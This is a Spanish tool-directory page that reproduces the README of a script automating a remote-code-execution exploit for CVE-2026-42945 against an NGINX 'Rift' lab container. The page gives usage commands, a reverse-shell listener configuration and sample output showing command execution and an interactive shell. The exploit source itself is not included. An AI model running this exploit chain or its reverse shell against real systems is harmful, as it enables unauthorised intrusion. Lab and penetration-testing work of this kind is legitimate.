Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945_NginxRift — Automatiza la explotación de CVE-2026-42945 en contenedores NGINX: verifica objetivos vulnerables, realiza fuerza bruta sobre offsets de heap, ejecuta comandos y abre una shell inversa interactiva. | Kitploit
Herramientas/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónRed TeamingExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

Automatiza la explotación de CVE-2026-42945 en contenedores NGINX: verifica objetivos vulnerables, realiza fuerza bruta sobre offsets de heap, ejecuta comandos y abre una shell inversa interactiva.

Ver Repositorio
131hace 1 mesAún no revisado

🚀 NGINX Rift PoC Automation — CVE-2026-42945

Controlador de automatización de PoC para explotación RCE del contenedor nginx-rift · Verificación del objetivo → Exploit de comando único → Reverse shell interactiva

Shell Python Platform License

Un solo comando orquesta todo el flujo del exploit: desde comprobar el contenedor hasta obtener la shell.


⚠️ Advertencia ética y legal Esta herramienta solo está destinada a pruebas de seguridad legítimas y autorizadas — pentest por contrato, laboratorio/CTF o activos propios. El uso sin permiso del propietario del sistema es un delito (UU ITE, Computer Fraud and Abuse Act, etc.). El usuario es plenamente responsable de su uso.


📖 Resumen de la vulnerabilidad

CVE-2026-42945 es una vulnerabilidad de ejecución remota de código (RCE) en la configuración NGINX «Rift» — un desbordamiento de búfer basado en heap en el módulo ngx_http_rewrite_module que se desencadena a través de una location block concreta (/api/users/...). El impacto es que un atacante puede ejecutar comandos mediante el handler system() dentro del contenedor.

ElementoDetalle
CVECVE-2026-42945
TipoEjecución remota de código (RCE)
ComponenteNGINX (ngx_http_rewrite_module) — configuración «Rift»
DesencadenantePetición a una location block vulnerable (/api/users/{id})
ImpactoEjecución de comandos arbitrarios como usuario worker de NGINX dentro del contenedor
Configuración del laboratorioContenedor nginx-rift-nginx-1 — puerto host 19321

Este repositorio contiene 2 componentes:

ArchivoFunción
poc.pyControlador de exploit — fuerza bruta del offset de heap, dos modos: --cmd (comando único) y --shell (reverse shell)
scan.shOrquestador de automatización — verificación del objetivo, ejecución del PoC, verificación del resultado y sesión de shell interactiva

🏗 Flujo de trabajo

┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ Requisitos del sistema

Operador (host donde se ejecuta el script):

  • Linux (bash) — probado en Kali / Ubuntu / Debian
  • docker (con sudo o usuario en el grupo docker)
  • python3 + poc.py (en el mismo directorio que scan.sh)
  • curl, nc (netcat), timeout (coreutils)

Objetivo (laboratorio):

  • Contenedor nginx-rift levantado (aprovisionado mediante docker compose)
  • Puerto host 19321 abierto en 127.0.0.1
  • Contenedor conectado al bridge de Docker (por defecto 172.17.0.1 para el listener del host)

📥 Instalación

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh y poc.py deben estar en el mismo directorio.


🚀 Modo de uso

./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Modo auto (predeterminado)

  1. Preflight — verificar todas las dependencias.
  2. Verificación del objetivo — ¿contenedor levantado? ¿HTTP 200?
  3. PoC --cmd — escribe el marcador hello from depthfirst en /tmp/pwned dentro del contenedor (reintento automático máx. 3×, tiempo límite de 300s/intento).
  4. Verificación del resultado — docker exec cat /tmp/pwned debe contener el marcador (ground-truth, no basta con leer la salida).
  5. Pregunta ¿continuar con reverse shell? → y para la sesión interactiva.

Modo shell

./scan.sh shell

Ejecuta poc.py --shell con el listener 172.17.0.1:1337. Una vez que el brute-force se completa con éxito, obtienes un prompt /bin/sh interactivo como usuario worker de NGINX dentro del contenedor.

Nota: La IP 172.17.0.1 es la dirección del host en el bridge predeterminado de Docker. Si tu bridge es diferente (docker network inspect bridge), cambia la variable LISTEN_IP en la parte superior de scan.sh.


🔧 Configuración ajustable

Todos los parámetros se agrupan en el bloque de configuración superior de scan.sh:

VariableValor por defectoFunción
DOCKERsudo dockerReemplaza docker si el usuario ya está en el grupo docker
PROJECT_LABELcom.docker.compose.project=nginx-riftFiltro de identificación del contenedor
CONTAINERnginx-rift-nginx-1Nombre del contenedor objetivo
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321Dirección del objetivo
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337Listener de reverse shell
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirstVerificación de la ejecución
CMD_TIMEOUT300Tiempo límite por intento (segundos)
MAX_ATTEMPTS3Número de reintentos del PoC --cmd

📸 Ejemplo de salida

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Solución de problemas

Descargar herramienta